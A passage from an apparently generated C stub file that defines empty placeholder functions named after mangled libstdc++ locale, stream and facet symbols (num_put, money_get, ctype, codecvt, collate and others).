void _ZNKSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES4_RSt8ios_basecl() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES4_RSt8ios_basecm() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES4_RSt8ios_basecx() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES4_RSt8ios_basecy() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE8__do_putES4_RSt8ios_basecd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE12_M_group_intEPKcmwRSt8ios_basePwSA_Ri() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intIlEES4_S4_RSt8ios_basewT_() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intImEES4_S4_RSt8ios_basewT_() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intIxEES4_S4_RSt8ios_basewT_() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intIyEES4_S4_RSt8ios_basewT_() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE14_M_group_floatEPKcmwPKwPwSA_Ri() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE15_M_insert_floatIdEES4_S4_RSt8ios_basewcT_() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE15_M_insert_floatIgEES4_S4_RSt8ios_basewcT_() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewPKv() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewb() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewl() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewm() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewx() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_RSt8ios_basewy() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6_M_padEwiRSt8ios_basePwPKwRi() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewPKv() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewb() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewl() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewm() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewx() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_RSt8ios_basewy() {} ;
void _ZNKSt17__gnu_cxx_ldbl1287num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE8__do_putES4_RSt8ios_basewd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE10_M_extractILb0EEES4_S4_S4_RSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE10_M_extractILb1EEES4_S4_S4_RSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE8__do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE10_M_extractILb0EEES4_S4_S4_RSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE10_M_extractILb1EEES4_S4_S4_RSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRSbIwS3_SaIwEE() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRSbIwS3_SaIwEE() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE8__do_getES4_S4_bRSt8ios_baseRSt12_Ios_IostateRd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES4_bRSt8ios_basecRKSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES4_bRSt8ios_basecg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES4_bRSt8ios_basecRKSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES4_bRSt8ios_basecg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE8__do_putES4_bRSt8ios_basecd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE9_M_insertILb0EEES4_S4_RSt8ios_basecRKSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE9_M_insertILb1EEES4_S4_RSt8ios_basecRKSs() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_bRSt8ios_basewRKSbIwS3_SaIwEE() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE3putES4_bRSt8ios_basewg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_bRSt8ios_basewRKSbIwS3_SaIwEE() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE6do_putES4_bRSt8ios_basewg() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE8__do_putES4_bRSt8ios_basewd() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE9_M_insertILb0EEES4_S4_RSt8ios_basewRKSbIwS3_SaIwEE() {} ;
void _ZNKSt17__gnu_cxx_ldbl1289money_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE9_M_insertILb1EEES4_S4_RSt8ios_basewRKSbIwS3_SaIwEE() {} ;
void _ZNKSt18basic_stringstreamIcSt11char_traitsIcESaIcEE3strEv() {} ;
void _ZNKSt18basic_stringstreamIcSt11char_traitsIcESaIcEE5rdbufEv() {} ;
void _ZNKSt18basic_stringstreamIwSt11char_traitsIwESaIwEE3strEv() {} ;
void _ZNKSt18basic_stringstreamIwSt11char_traitsIwESaIwEE5rdbufEv() {} ;
void _ZNKSt19basic_istringstreamIcSt11char_traitsIcESaIcEE3strEv() {} ;
void _ZNKSt19basic_istringstreamIcSt11char_traitsIcESaIcEE5rdbufEv() {} ;
void _ZNKSt19basic_istringstreamIwSt11char_traitsIwESaIwEE3strEv() {} ;
void _ZNKSt19basic_istringstreamIwSt11char_traitsIwESaIwEE5rdbufEv() {} ;
void _ZNKSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE3strEv() {} ;
void _ZNKSt19basic_ostringstreamIcSt11char_traitsIcESaIcEE5rdbufEv() {} ;
void _ZNKSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE3strEv() {} ;
void _ZNKSt19basic_ostringstreamIwSt11char_traitsIwESaIwEE5rdbufEv() {} ;
void _ZNKSt5ctypeIcE10do_tolowerEPcPKc() {} ;
void _ZNKSt5ctypeIcE10do_tolowerEc() {} ;
void _ZNKSt5ctypeIcE10do_toupperEPcPKc() {} ;
void _ZNKSt5ctypeIcE10do_toupperEc() {} ;
void _ZNKSt5ctypeIcE8do_widenEPKcS2_Pc() {} ;
void _ZNKSt5ctypeIcE8do_widenEc() {} ;
void _ZNKSt5ctypeIcE9do_narrowEPKcS2_cPc() {} ;
void _ZNKSt5ctypeIcE9do_narrowEcc() {} ;
void _ZNKSt5ctypeIwE10do_scan_isEtPKwS2_() {} ;
void _ZNKSt5ctypeIwE10do_tolowerEPwPKw() {} ;
void _ZNKSt5ctypeIwE10do_tolowerEw() {} ;
void _ZNKSt5ctypeIwE10do_toupperEPwPKw() {} ;
void _ZNKSt5ctypeIwE10do_toupperEw() {} ;
void _ZNKSt5ctypeIwE11do_scan_notEtPKwS2_() {} ;
void _ZNKSt5ctypeIwE19_M_convert_to_wmaskEt() {} ;
void _ZNKSt5ctypeIwE5do_isEPKwS2_Pt() {} ;
void _ZNKSt5ctypeIwE5do_isEtw() {} ;
void _ZNKSt5ctypeIwE8do_widenEPKcS2_Pw() {} ;
void _ZNKSt5ctypeIwE8do_widenEc() {} ;
void _ZNKSt5ctypeIwE9do_narrowEPKwS2_cPc() {} ;
void _ZNKSt5ctypeIwE9do_narrowEwc() {} ;
void _ZNKSt6locale2id5_M_idEv() {} ;
void _ZNKSt6locale4nameEv() {} ;
void _ZNKSt6localeeqERKS_() {} ;
void _ZNKSt7codecvtIcc11__mbstate_tE10do_unshiftERS0_PcS3_RS3_() {} ;
void _ZNKSt7codecvtIcc11__mbstate_tE11do_encodingEv() {} ;
void _ZNKSt7codecvtIcc11__mbstate_tE13do_max_lengthEv() {} ;
void _ZNKSt7codecvtIcc11__mbstate_tE16do_always_noconvEv() {} ;
void _ZNKSt7codecvtIcc11__mbstate_tE5do_inERS0_PKcS4_RS4_PcS6_RS6_() {} ;
void _ZNKSt7codecvtIcc11__mbstate_tE6do_outERS0_PKcS4_RS4_PcS6_RS6_() {} ;
void _ZNKSt7codecvtIcc11__mbstate_tE9do_lengthERS0_PKcS4_m() {} ;
void _ZNKSt7codecvtIwc11__mbstate_tE10do_unshiftERS0_PcS3_RS3_() {} ;
void _ZNKSt7codecvtIwc11__mbstate_tE11do_encodingEv() {} ;
void _ZNKSt7codecvtIwc11__mbstate_tE13do_max_lengthEv() {} ;
void _ZNKSt7codecvtIwc11__mbstate_tE16do_always_noconvEv() {} ;
void _ZNKSt7codecvtIwc11__mbstate_tE5do_inERS0_PKcS4_RS4_PwS6_RS6_() {} ;
void _ZNKSt7codecvtIwc11__mbstate_tE6do_outERS0_PKwS4_RS4_PcS6_RS6_() {} ;
void _ZNKSt7codecvtIwc11__mbstate_tE9do_lengthERS0_PKcS4_m() {} ;
void _ZNKSt7collateIcE10_M_compareEPKcS2_() {} ;
void _ZNKSt7collateIcE10do_compareEPKcS2_S2_S2_() {} ;
void _ZNKSt7collateIcE12_M_transformEPcPKcm() {} ;
void _ZNKSt7collateIcE12do_transformEPKcS2_() {} ;
void _ZNKSt7collateIcE4hashEPKcS2_() {} ;
void _ZNKSt7collateIcE7compareEPKcS2_S2_S2_() {} ;
void _ZNKSt7collateIcE7do_hashEPKcS2_() {} ;
void _ZNKSt7collateIcE9transformEPKcS2_() {} ;
void _ZNKSt7collateIwE10_M_compareEPKwS2_() {} ;
void _ZNKSt7collateIwE10do_compareEPKwS2_S2_S2_() {} ;
void _ZNKSt7collateIwE12_M_transformEPwPKwm() {} ;
void _ZNKSt7collateIwE12do_transformEPKwS2_() {} ;
void _ZNKSt7collateIwE4hashEPKwS2_() {} ;
void _ZNKSt7collateIwE7compareEPKwS2_S2_S2_() {} ;
void _ZNKSt7collateIwE7do_hashEPKwS2_() {} ;
void _ZNKSt7collateIwE9transformEPKwS2_() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_intIjEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_intIlEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_intImEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_intItEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_intIxEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE14_M_extract_intIyEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE16_M_extract_floatES3_S3_RSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRPv() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRb() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRd() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRe() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRf() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRj() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRl() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRm() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRt() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRx() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRy() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRPv() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRb() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRd() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRe() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRf() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRj() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRl() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRm() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRt() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRx() {} ;
void _ZNKSt7num_getIcSt19istreambuf_iteratorIcSt11char_traitsIcEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRy() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE14_M_extract_intIjEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE14_M_extract_intIlEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE14_M_extract_intImEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE14_M_extract_intItEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE14_M_extract_intIxEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE14_M_extract_intIyEES3_S3_S3_RSt8ios_baseRSt12_Ios_IostateRT_() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE16_M_extract_floatES3_S3_RSt8ios_baseRSt12_Ios_IostateRSs() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRPv() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRb() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRd() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRe() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRf() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRj() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRl() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRm() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRt() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRx() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE3getES3_S3_RSt8ios_baseRSt12_Ios_IostateRy() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRPv() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRb() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRd() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRe() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRf() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRj() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRl() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRm() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRt() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRx() {} ;
void _ZNKSt7num_getIwSt19istreambuf_iteratorIwSt11char_traitsIwEEE6do_getES3_S3_RSt8ios_baseRSt12_Ios_IostateRy() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE12_M_group_intEPKcmcRSt8ios_basePcS9_Ri() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE13_M_insert_intIlEES3_S3_RSt8ios_basecT_() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE13_M_insert_intImEES3_S3_RSt8ios_basecT_() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE13_M_insert_intIxEES3_S3_RSt8ios_basecT_() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE13_M_insert_intIyEES3_S3_RSt8ios_basecT_() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE14_M_group_floatEPKcmcS6_PcS7_Ri() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE15_M_insert_floatIdEES3_S3_RSt8ios_baseccT_() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE15_M_insert_floatIeEES3_S3_RSt8ios_baseccT_() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basecPKv() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basecb() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basecd() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basece() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basecl() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basecm() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basecx() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE3putES3_RSt8ios_basecy() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6_M_padEciRSt8ios_basePcPKcRi() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecPKv() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecb() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecd() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basece() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecl() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecm() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecx() {} ;
void _ZNKSt7num_putIcSt19ostreambuf_iteratorIcSt11char_traitsIcEEE6do_putES3_RSt8ios_basecy() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE12_M_group_intEPKcmwRSt8ios_basePwS9_Ri() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intIlEES3_S3_RSt8ios_basewT_() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intImEES3_S3_RSt8ios_basewT_() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intIxEES3_S3_RSt8ios_basewT_() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE13_M_insert_intIyEES3_S3_RSt8ios_basewT_() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE14_M_group_floatEPKcmwPKwPwS9_Ri() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE15_M_insert_floatIdEES3_S3_RSt8ios_basewcT_() {} ;
void _ZNKSt7num_putIwSt19ostreambuf_iteratorIwSt11char_traitsIwEEE15_M_insert_floatIeEES3_S3_RSt8ios_basewcT_() {} ;
